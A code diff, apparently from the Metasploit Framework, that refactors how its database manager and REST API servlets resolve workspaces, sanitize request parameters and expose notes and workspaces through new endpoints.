@ -36,7 +36,7 @@ module Msf::DBManager::ExploitAttempt
return unless opts.has_key?(:refs) && !opts[:refs].blank?
host = opts[:host] || return
wspace = opts[:workspace] || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
@ -73,7 +73,7 @@ module Msf::DBManager::ExploitAttempt
return unless opts[:refs]
host = opts[:host] || return
wspace = opts[:workspace] || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
port = opts[:port]
prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO
svc = opts[:service]
@ -222,7 +222,7 @@ module Msf::DBManager::ExploitAttempt
# @option opts [String] :username
# @return [ MetasploitDataModels::AutomaticExploitation::Match, MetasploitDataModels::AutomaticExploitation::Run]
def create_match_for_vuln(vuln,opts)
wspace = opts[:workspace] || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
run = opts[:run]
module_fullname = opts[:module]

View File

@ -1,5 +1,5 @@
module Msf::DBManager::ExploitedHost
def each_exploited_host(wspace=workspace,&block)
def each_exploited_host(wspace=framework.db.workspace,&block)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.exploited_hosts.each do |eh|
block.call(eh)
@ -8,7 +8,7 @@ module Msf::DBManager::ExploitedHost
end
# This method returns a list of all exploited hosts in the database.
def exploited_hosts(wspace=workspace)
def exploited_hosts(wspace=framework.db.workspace)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.exploited_hosts
}

View File

@ -36,7 +36,7 @@ module Msf::DBManager::Host
# Iterates over the hosts table calling the supplied block with the host
# instance of each entry.
#
def each_host(wspace=workspace, &block)
def each_host(wspace=framework.db.workspace, &block)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.hosts.each do |host|
block.call(host)
@ -53,17 +53,14 @@ module Msf::DBManager::Host
end
def add_host_tag(opts)
workspace = opts[:workspace]
if workspace.kind_of? String
workspace = find_workspace(workspace)
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
ip = opts[:ip]
tag_name = opts[:tag_name]
host = framework.db.get_host(:workspace => workspace, :address => ip)
host = framework.db.get_host(:workspace => wspace, :address => ip)
if host
possible_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", workspace.id, ip, tag_name).order("tags.id DESC").limit(1)
possible_tags = Mdm::Tag.joins(:hosts).where("hosts.workspace_id = ? and hosts.address = ? and tags.name = ?", wspace.id, ip, tag_name).order("tags.id DESC").limit(1)
tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first)
tag.name = tag_name
tag.hosts = [host]
@ -74,7 +71,7 @@ module Msf::DBManager::Host
def delete_host_tag(opts)
workspace = opts[:workspace]
if workspace.kind_of? String
workspace = find_workspace(workspace)
workspace = framework.db.find_workspace(workspace)
end
ip = opts[:rws]
@ -113,10 +110,7 @@ module Msf::DBManager::Host
return address if address.kind_of? ::Mdm::Host
end
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
address = Msf::Util::Host.normalize_host(address)
return wspace.hosts.find_by_address(address)
@ -133,12 +127,8 @@ module Msf::DBManager::Host
# Returns a list of all hosts in the database
def hosts(opts)
wspace = opts[:workspace] || opts[:wspace] || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
conditions = {}
conditions[:state] = [Msf::HostState::Alive, Msf::HostState::Unknown] if opts[:non_dead]
@ -193,10 +183,7 @@ module Msf::DBManager::Host
end
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
ret = { }
@ -280,14 +267,11 @@ module Msf::DBManager::Host
end
def update_host(opts)
# process workspace string for update if included in opts
wspace = opts.delete(:workspace)
if wspace.kind_of? String
wspace = find_workspace(wspace)
opts[:workspace] = wspace
end
::ActiveRecord::Base.connection_pool.with_connection {
# process workspace string for update if included in opts
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
opts[:workspace] = wspace if wspace
id = opts.delete(:id)
Mdm::Host.update(id, opts)
}
@ -299,115 +283,4 @@ module Msf::DBManager::Host
return [] if flavor_match.nil?
["Windows", flavor_match.captures.first]
end
#
# Update a host's attributes via semi-standardized sysinfo hash (Meterpreter)
#
# The opts parameter MUST contain the following entries
# +:host+:: -- the host's ip address
# +:info+:: -- the information hash
# * 'Computer' -- the host name
# * 'OS' -- the operating system string
# * 'Architecture' -- the hardware architecture
# * 'System Language' -- the system language
#
# The opts parameter can contain:
# +:workspace+:: -- the workspace for this host
#
def update_host_via_sysinfo(opts)
return if !active
addr = opts.delete(:host) || return
info = opts.delete(:info) || return
# Sometimes a host setup through a pivot will see the address as "Remote Pipe"
if addr.eql? "Remote Pipe"
return
end
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
if !addr.kind_of? ::Mdm::Host
addr = Msf::Util::Host.normalize_host(addr)
addr, scope = addr.split('%', 2)
opts[:scope] = scope if scope
unless ipv46_validator(addr)
raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}"
end
if opts[:comm] and opts[:comm].length > 0
host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize
else
host = wspace.hosts.where(address: addr).first_or_initialize
end
else
host = addr
end
ostate = host.state
res = {}
if info['Computer']
res[:name] = info['Computer']
end
if info['Architecture']
res[:arch] = info['Architecture'].split(/\s+/).first
end
if info['OS'] =~ /^Windows\s*([^\(]+)\(([^\)]+)\)/i
res[:os_name] = "Windows"
res[:os_flavor] = $1.strip
build = $2.strip
if build =~ /Service Pack (\d+)/
res[:os_sp] = "SP" + $1
end
end
if info["System Language"]
case info["System Language"]
when /^en_/
res[:os_lang] = "English"
end
end
# Truncate the info field at the maximum field length
if res[:info]
res[:info] = res[:info][0,65535]
end
# Truncate the name field at the maximum field length
if res[:name]
res[:name] = res[:name][0,255]
end
res.each do |k,v|
if (host.attribute_names.include?(k.to_s))
unless host.attribute_locked?(k.to_s)
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
end
elsif !v.blank?
dlog("Unknown attribute for Host: #{k}")
end
end
# Set default fields if needed
host.state = Msf::HostState::Alive if !host.state
host.comm = '' if !host.comm
host.workspace = wspace if !host.workspace
host.save! if host.changed?
host_state_changed(host, ostate) if host.state != ostate
host
}
end
end

View File

@ -6,13 +6,9 @@ module Msf::DBManager::HostTag
raise Msf::DBImportError.new("Missing required option :name") unless name
addr = opts.delete(:addr)
raise Msf::DBImportError.new("Missing required option :addr") unless addr
wspace = opts.delete(:wspace)
raise Msf::DBImportError.new("Missing required option :wspace") unless wspace
::ActiveRecord::Base.connection_pool.with_connection {
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
raise Msf::DBImportError.new("Missing required option :wspace") unless wspace
host = nil
report_host(:workspace => wspace, :address => addr)

View File

@ -23,7 +23,8 @@ module HostServlet
lambda {
begin
opts = parse_json_request(request, false)
data = get_db().hosts(params.symbolize_keys)
sanitized_params = sanitize_params(params)
data = get_db.hosts(sanitized_params)
includes = [:loots]
set_json_response(data, includes)
rescue Exception => e
@ -36,7 +37,7 @@ module HostServlet
lambda {
begin
job = lambda { |opts|
data = get_db().report_host(opts)
data = get_db.report_host(opts)
}
exec_report_job(request, &job)
rescue Exception => e
@ -49,9 +50,9 @@ module HostServlet
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = params.symbolize_keys
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db().update_host(opts)
data = get_db.update_host(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)
@ -63,7 +64,7 @@ module HostServlet
lambda {
begin
opts = parse_json_request(request, false)
data = get_db().delete_host(opts)
data = get_db.delete_host(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)

View File

@ -23,7 +23,8 @@ module LootServlet
lambda {
begin
opts = parse_json_request(request, false)
data = get_db().loots(params.symbolize_keys)
sanitized_params = sanitize_params(params)
data = get_db.loots(sanitized_params)
includes = [:host]
data.each do |loot|
loot.data = Base64.urlsafe_encode64(loot.data) if loot.data
@ -45,7 +46,7 @@ module LootServlet
opts[:data] = Base64.urlsafe_decode64(opts[:data])
end
get_db().report_loot(opts)
get_db.report_loot(opts)
}
exec_report_job(request, &job)
}
@ -55,9 +56,9 @@ module LootServlet
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = params.symbolize_keys
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db().update_loot(opts)
data = get_db.update_loot(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)
@ -69,7 +70,7 @@ module LootServlet
lambda {
begin
opts = parse_json_request(request, false)
data = get_db().delete_loot(opts)
data = get_db.delete_loot(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)

View File

@ -4,18 +4,71 @@ module NoteServlet
'/api/v1/notes'
end
def self.api_path_with_id
"#{NoteServlet.api_path}/?:id?"
end
def self.registered(app)
app.get NoteServlet.api_path_with_id, &get_note
app.post NoteServlet.api_path, &report_note
app.put NoteServlet.api_path_with_id, &update_note
app.delete NoteServlet.api_path, &delete_note
end
#######
private
#######
def self.get_note
lambda {
begin
opts = parse_json_request(request, false)
sanitized_params = sanitize_params(params)
data = get_db.notes(sanitized_params)
includes = [:host]
set_json_response(data, includes)
rescue Exception => e
set_error_on_response(e)
end
}
end
def self.report_note
lambda {
job = lambda { |opts| get_db().report_note(opts) }
begin
job = lambda { |opts|
get_db.report_note(opts)
}
exec_report_job(request, &job)
rescue Exception => e
set_error_on_response(e)
end
}
end
def self.update_note
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db.update_note(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)
end
}
end
def self.delete_note
lambda {
begin
opts = parse_json_request(request, false)
data = get_db.delete_note(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)
end
}
end

View File

@ -22,7 +22,7 @@ module ServiceServlet
def self.get_services
lambda {
begin
opts = params.symbolize_keys
opts = sanitize_params(params)
data = get_db.services(opts)
includes = [:host]
set_json_response(data, includes)
@ -44,7 +44,7 @@ module ServiceServlet
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = params.symbolize_keys
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db.update_service(opts)
set_json_response(data)

View File

@ -34,7 +34,8 @@ module VulnAttemptServlet
begin
job = lambda { |opts|
vuln_id = opts.delete(:vuln_id)
vuln = get_db.vulns(id: vuln_id).first
wspace = opts.delete(:workspace)
vuln = get_db.vulns(id: vuln_id, workspace: wspace).first
get_db.report_vuln_attempt(vuln, opts)
}
exec_report_job(request, &job)

View File

@ -23,7 +23,8 @@ module VulnServlet
lambda {
begin
opts = parse_json_request(request, false)
data = get_db.vulns(params.symbolize_keys)
sanitized_params = sanitize_params(params)
data = get_db.vulns(sanitized_params)
includes = [:host, :vulns_refs, :refs, :module_refs]
set_json_response(data, includes)
rescue Exception => e
@ -49,7 +50,7 @@ module VulnServlet
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = params.symbolize_keys
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db.update_vuln(opts)
set_json_response(data)

View File

@ -4,10 +4,15 @@ module WorkspaceServlet
'/api/v1/workspaces'
end
def self.api_path_with_id
"#{WorkspaceServlet.api_path}/?:id?"
end
def self.registered(app)
app.get WorkspaceServlet.api_path, &get_workspace
app.get WorkspaceServlet.api_path + '/counts', &get_workspace_counts
app.get WorkspaceServlet.api_path_with_id, &get_workspace
app.post WorkspaceServlet.api_path, &add_workspace
app.put WorkspaceServlet.api_path_with_id, &update_workspace
app.delete WorkspaceServlet.api_path, &delete_workspace
end
#######
@ -17,14 +22,10 @@ module WorkspaceServlet
def self.get_workspace
lambda {
begin
opts = parse_json_request(request, true)
opts = parse_json_request(request, false)
includes = nil
if (opts[:all])
data = get_db().workspaces
#includes = 'hosts: {only: :count}, services: {only: :count}, vulns: {only: :count}, creds: {only: :count}, loots: {only: :count}, notes: {only: :count}'
else
data = get_db().find_workspace(opts[:workspace_name])
end
sanitized_params = sanitize_params(params)
data = get_db.workspaces(sanitized_params)
set_json_response(data, includes)
rescue Exception => e
@ -33,25 +34,41 @@ module WorkspaceServlet
}
end
def self.get_workspace_counts
lambda {
begin
set_json_response(get_db().workspace_associations_counts)
rescue Exception => e
set_error_on_response(e)
end
}
end
def self.add_workspace
lambda {
begin
opts = parse_json_request(request, true)
workspace = get_db().add_workspace(opts[:workspace_name])
workspace = get_db.add_workspace(opts)
set_json_response(workspace)
rescue Exception => e
set_error_on_response(e)
end
}
end
def self.update_workspace
lambda {
begin
opts = parse_json_request(request, false)
tmp_params = sanitize_params(params)
opts[:id] = tmp_params[:id] if tmp_params[:id]
data = get_db.update_workspace(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)
end
}
end
def self.delete_workspace
lambda {
begin
opts = parse_json_request(request, false)
data = get_db.delete_workspaces(opts)
set_json_response(data)
rescue Exception => e
set_error_on_response(e)
end
}
end
end

View File

@ -12,7 +12,7 @@ module ServletHelper
[500, headers, error.message]
end
def set_empty_response()
def set_empty_response
[200, '']
end
@ -41,7 +41,7 @@ module ServletHelper
exec_async = opts.delete(:exec_async)
if (exec_async)
JobProcessor.instance.submit_job(opts, &job)
return set_empty_response()
return set_empty_response
else
data = job.call(opts)
return set_json_response(data, includes)
@ -52,10 +52,19 @@ module ServletHelper
end
end
def get_db()
def get_db
DBManagerProxy.instance.db
end
# Sinatra injects extra parameters for some reason: https://github.com/sinatra/sinatra/issues/453
# This method cleans those up so we don't have any unexpected values before passing on.
#
# @param [Hash] params Hash containing the parameters for the request.
# @return [Hash] Returns params with symbolized keys and the injected parameters removed.
def sanitize_params(params)
params.symbolize_keys.except(:captures, :splat)
end
#######
private
#######

View File

@ -16,7 +16,7 @@ module Msf::DBManager::Import::Nmap
# that. Otherwise, you'll hit the old NmapXMLStreamParser.
def import_nmap_xml(args={}, &block)
return nil if args[:data].nil? or args[:data].empty?
wspace = args[:wspace] || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework)
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
if Rex::Parser.nokogiri_loaded
@ -241,7 +241,6 @@ module Msf::DBManager::Import::Nmap
#
def import_nmap_xml_file(args={})
filename = args[:filename]
wspace = args[:wspace] || workspace
data = ""
::File.open(filename, 'rb') do |f|

View File

@ -1,19 +1,4 @@
module Msf::DBManager::Loot
#
# Loot collection
#
#
# This method iterates the loot table calling the supplied block with the
# instance of each entry.
#
def each_loot(wspace=workspace, &block)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.loots.each do |note|
block.call(note)
end
}
end
#
# Find or create a loot matching this type/data
#
@ -25,14 +10,12 @@ module Msf::DBManager::Loot
# This methods returns a list of all loot in the database
#
def loots(opts)
wspace = opts.delete(:workspace) || opts.delete(:wspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
opts[:workspace_id] = wspace.id
search_term = opts.delete(:search_term)
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
opts[:workspace_id] = wspace.id
if search_term && !search_term.empty?
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Loot, search_term)
Mdm::Loot.includes(:host).where(opts).where(column_search_conditions)
@ -46,10 +29,7 @@ module Msf::DBManager::Loot
def report_loot(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
path = opts.delete(:path) || (raise RuntimeError, "A loot :path is required")
host = nil
@ -101,13 +81,10 @@ module Msf::DBManager::Loot
# @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update.
# @return [Mdm::Loot] The updated Mdm::Loot object.
def update_loot(opts)
wspace = opts.delete(:workspace)
if wspace.kind_of? String
wspace = find_workspace(wspace)
opts[:workspace] = wspace
end
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
opts[:workspace] = wspace if wspace
id = opts.delete(:id)
Mdm::Loot.update(id, opts)
}

View File

@ -3,7 +3,7 @@ module Msf::DBManager::Note
# This method iterates the notes table calling the supplied block with the
# note instance of each entry.
#
def each_note(wspace=workspace, &block)
def each_note(wspace=framework.db.workspace, &block)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.notes.each do |note|
block.call(note)
@ -21,9 +21,19 @@ module Msf::DBManager::Note
#
# This methods returns a list of all notes in the database
#
def notes(wspace=workspace)
def notes(opts)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.notes
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
search_term = opts.delete(:search_term)
results = wspace.notes.includes(:host).where(opts)
if search_term && !search_term.empty?
re_search_term = /#{search_term}/mi
results = results.select { |note|
note.attribute_names.any? { |a| note[a.intern].to_s.match(re_search_term) }
}
end
results
}
end
@ -55,10 +65,7 @@ module Msf::DBManager::Note
def report_note(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
seen = opts.delete(:seen) || false
crit = opts.delete(:critical) || false
host = nil
@ -110,13 +117,7 @@ module Msf::DBManager::Note
elsif opts[:service] and opts[:service].kind_of? ::Mdm::Service
service = opts[:service]
end
=begin
if host
host.updated_at = host.created_at
host.state = HostState::Alive
host.save!
end
=end
ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required")
data = opts[:data]
note = nil
@ -171,4 +172,42 @@ module Msf::DBManager::Note
ret[:note] = note
}
end
# Update the attributes of a note entry with the values in opts.
# The values in opts should match the attributes to update.
#
# @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update.
# @return [Mdm::Note] The updated Mdm::Note object.
def update_note(opts)
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
opts[:workspace] = wspace if wspace
id = opts.delete(:id)
Mdm::Note.update(id, opts)
}
end
# Deletes note entries based on the IDs passed in.
#
# @param opts[:ids] [Array] Array containing Integers corresponding to the IDs of the note entries to delete.
# @return [Array] Array containing the Mdm::Note objects that were successfully deleted.
def delete_note(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
::ActiveRecord::Base.connection_pool.with_connection {
deleted = []
opts[:ids].each do |note_id|
note = Mdm::Note.find(note_id)
begin
deleted << note.destroy
rescue # refs suck
elog("Forcibly deleting #{note}")
deleted << note.delete
end
end
return deleted
}
end
end

View File

@ -78,7 +78,7 @@ module Msf::DBManager::Report
#
# This methods returns a list of all reports in the database
#
def reports(wspace=workspace)
def reports(wspace=framework.db.workspace)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.reports
}

View File

@ -21,7 +21,7 @@ module Msf::DBManager::Service
# Iterates over the services table calling the supplied block with the
# service instance of each entry.
def each_service(wspace=workspace, &block)
def each_service(wspace=framework.db.workspace, &block)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.services.each do |service|
block.call(service)
@ -61,7 +61,7 @@ module Msf::DBManager::Service
hname = opts.delete(:host_name)
hmac = opts.delete(:mac)
host = nil
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
hopts = {:workspace => wspace, :host => addr}
hopts[:name] = hname if hname
hopts[:mac] = hmac if hmac
@ -141,10 +141,8 @@ module Msf::DBManager::Service
# Returns a list of all services in the database
def services(opts)
wspace = opts.delete(:workspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
search_term = opts.delete(:search_term)
opts["hosts.address"] = opts.delete(:addresses)
opts.compact!

View File

@ -13,7 +13,7 @@ module Msf::DBManager::Session
def get_session(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts[:workspace] || opts[:wspace] || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
addr = opts[:addr] || opts[:address] || opts[:host] || return
host = get_host(:workspace => wspace, :host => addr)
time = opts[:opened_at] || opts[:created_at] || opts[:time] || return
@ -119,12 +119,12 @@ module Msf::DBManager::Session
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
workspace = find_workspace(session_dto[:workspace])
host_data = session_dto[:host_data]
workspace = workspaces({ name: host_data[:workspace] })
h_opts = {}
h_opts[:host] = host_data[:host]
h_opts[:arch] = host_data[:arch]
h_opts[:workspace] = workspace
h_opts[:workspace] = host_data[:workspace]
host = find_or_create_host(h_opts)
session_data = session_dto[:session_data]

View File

@ -1,11 +1,6 @@
module Msf::DBManager::SessionEvent
def session_events(opts)
wspace = opts[:workspace] || opts[:wspace] || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
::ActiveRecord::Base.connection_pool.with_connection {
conditions = {}

View File

@ -9,7 +9,7 @@ module Msf::DBManager::Task
def report_task(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
path = opts.delete(:path) || (raise RuntimeError, "A task :path is required")
ret = {}
@ -49,7 +49,7 @@ module Msf::DBManager::Task
#
# This methods returns a list of all tasks in the database
#
def tasks(wspace=workspace)
def tasks(wspace=framework.db.workspace)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.tasks
}

View File

@ -3,7 +3,7 @@ module Msf::DBManager::Vuln
# This method iterates the vulns table calling the supplied block with the
# vuln instance of each entry.
#
def each_vuln(wspace=workspace,&block)
def each_vuln(wspace=framework.db.workspace, &block)
::ActiveRecord::Base.connection_pool.with_connection {
wspace.vulns.each do |vulns|
block.call(vulns)
@ -94,8 +94,7 @@ module Msf::DBManager::Vuln
info = opts[:info]
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
exploited_at = opts[:exploited_at] || opts["exploited_at"]
details = opts.delete(:details)
rids = opts.delete(:ref_ids)
@ -236,12 +235,8 @@ module Msf::DBManager::Vuln
# This methods returns a list of all vulnerabilities in the database
#
def vulns(opts)
wspace = opts.delete(:workspace) || opts.delete(:wspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
search_term = opts.delete(:search_term)
if search_term && !search_term.empty?
@ -259,14 +254,9 @@ module Msf::DBManager::Vuln
# @param opts [Hash] Hash containing the updated values. Key should match the attribute to update. Must contain :id of record to update.
# @return [Mdm::Vuln] The updated Mdm::Vuln object.
def update_vuln(opts)
# process workspace string for update if included in opts
wspace = opts.delete(:workspace)
if wspace.kind_of? String
wspace = find_workspace(wspace)
opts[:workspace] = wspace
end
::ActiveRecord::Base.connection_pool.with_connection {
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)
opts[:workspace] = wspace if wspace
id = opts.delete(:id)
Mdm::Vuln.update(id, opts)
}

View File

@ -22,12 +22,9 @@ module Msf::DBManager::VulnAttempt
# This methods returns a list of all vulnerability attempts in the database
#
def vuln_attempts(opts)
wspace = opts.delete(:workspace) || opts.delete(:wspace) || workspace
if wspace.kind_of? String
wspace = find_workspace(wspace)
end
::ActiveRecord::Base.connection_pool.with_connection {
# 'workspace' is not a valid attribute for Mdm::VulnAttempt. Remove it.
Msf::Util::DBManager.delete_opts_workspace(opts)
search_term = opts.delete(:search_term)
if search_term && !search_term.empty?

View File

@ -20,7 +20,7 @@ module Msf::DBManager::Web
def report_web_form(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
path = opts[:path]
meth = opts[:method].to_s.upcase
@ -107,7 +107,7 @@ module Msf::DBManager::Web
def report_web_page(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
path = opts[:path]
code = opts[:code].to_i
@ -188,7 +188,7 @@ module Msf::DBManager::Web
def report_web_site(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection { |conn|
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
vhost = opts.delete(:vhost)
addr = nil
@ -289,7 +289,7 @@ module Msf::DBManager::Web
def report_web_vuln(opts)
return if not active
::ActiveRecord::Base.connection_pool.with_connection {
wspace = opts.delete(:workspace) || workspace
wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)
path = opts[:path]
meth = opts[:method]

View File

@ -1,17 +1,24 @@
module Msf::DBManager::Workspace
DEFAULT_WORKSPACE_NAME = 'default'
#
# Creates a new workspace in the database
#
def add_workspace(name)
def add_workspace(opts)
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.where(name: name).first_or_create
::Mdm::Workspace.where(name: opts[:name]).first_or_create
}
end
def default_workspace
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.default
}
# Workspace tracking is handled on the client side, so attempting to call it directly from the DbManager
# will not return the correct results. Run it back through the proxy.
wlog "[DEPRECATION] Setting the workspace from within DbManager is no longer supported. Please call from WorkspaceDataProxy instead."
# Proxied to fix tests, will be cleaned up in remote test patch
framework.db.default_workspace
end
def find_workspace(name)
@ -21,102 +28,75 @@ module Msf::DBManager::Workspace
end
def workspace
framework.db.find_workspace(@workspace_name)
# The @current_workspace is tracked on the client side, so attempting to call it directly from the DbManager
# will not return the correct results. Run it back through the proxy.
wlog "[DEPRECATION] Calling workspace from within DbManager is no longer supported. Please call from WorkspaceDataProxy instead."
# Proxied to fix tests, will be cleaned up in remote test patch
framework.db.workspace
end
def workspace=(workspace)
@workspace_name = workspace.name
end
# The @current_workspace is tracked on the client side, so attempting to call it directly from the DbManager
# will not return the correct results. Run it back through the proxy.
wlog "[DEPRECATION] Setting the workspace from within DbManager is no longer supported. Please call from WorkspaceDataProxy instead."
def workspaces
::ActiveRecord::Base.connection_pool.with_connection {
::Mdm::Workspace.order('updated_at asc').load
}
end
#
# Returns an array of all the associated workspace records counts.
#
def workspace_associations_counts()
results = Array.new()
::ActiveRecord::Base.connection_pool.with_connection {
workspaces.each do |ws|
results << {
:name => ws.name,
:hosts_count => ws.hosts.count,
:services_count => ws.services.count,
:vulns_count => ws.vulns.count,
:creds_count => ws.core_credentials.count,
:loots_count => ws.loots.count,
:notes_count => ws.notes.count
}
end
}
return results
end
def delete_all_workspaces()
return delete_workspaces(workspaces.map(&:name))
end
def delete_workspaces(names)
status_msg = []
error_msg = []
switched = false
# Delete workspaces
names.each do |name|
workspace = framework.db.find_workspace(name)
if workspace.nil?
error_msg << "Workspace not found: #{name}"
elsif workspace.default?
workspace.destroy
workspace = framework.db.add_workspace(name)
status_msg << 'Deleted and recreated the default workspace'
else
# switch to the default workspace if we're about to delete the current one
if framework.db.workspace.name == workspace.name
framework.db.workspace = framework.db.default_workspace
switched = true
end
# now destroy the named workspace
workspace.destroy
status_msg << "Deleted workspace: #{name}"
end
end
(status_msg << "Switched workspace: #{framework.db.workspace.name}") if switched
return status_msg, error_msg
end
#
# Renames a workspace
#
def rename_workspace(from_name, to_name)
raise "Workspace exists: #{to_name}" if framework.db.find_workspace(to_name)
workspace = find_workspace(from_name)
raise "Workspace not found: #{name}" if workspace.nil?
workspace.name = new
workspace.save!
# Recreate the default workspace to avoid errors
if workspace.default?
framework.db.add_workspace(from_name)
#print_status("Recreated default workspace after rename")
end
# Switch to new workspace if old name was active
if (@workspace_name == workspace.name)
# Proxied to fix tests, will be cleaned up in remote test patch
framework.db.workspace=workspace
#print_status("Switched workspace: #{framework.db.workspace.name}")
end
def workspaces(opts = {})
::ActiveRecord::Base.connection_pool.with_connection {
search_term = opts.delete(:search_term)
# Passing these values to the search will cause exceptions, so remove them if they accidentally got passed in.
Msf::Util::DBManager.delete_opts_workspace(opts)
::ActiveRecord::Base.connection_pool.with_connection {
if search_term && !search_term.empty?
column_search_conditions = Msf::Util::DBManager.create_all_column_search_conditions(Mdm::Workspace, search_term)
Mdm::Workspace.where(opts).where(column_search_conditions)
else
Mdm::Workspace.where(opts)
end
}
}
end
def delete_workspaces(opts)
raise ArgumentError.new("The following options are required: :ids") if opts[:ids].nil?
::ActiveRecord::Base.connection_pool.with_connection {
deleted = []
default_deleted = false
opts[:ids].each do |ws_id|
ws = Mdm::Workspace.find(ws_id)
default_deleted = true if ws.default?
begin
deleted << ws.destroy
if default_deleted
add_workspace({ name: DEFAULT_WORKSPACE_NAME })
default_deleted = false
end
rescue
elog("Forcibly deleting #{ws.name}")
deleted << ws.delete
end
end
def get_workspace(opts)
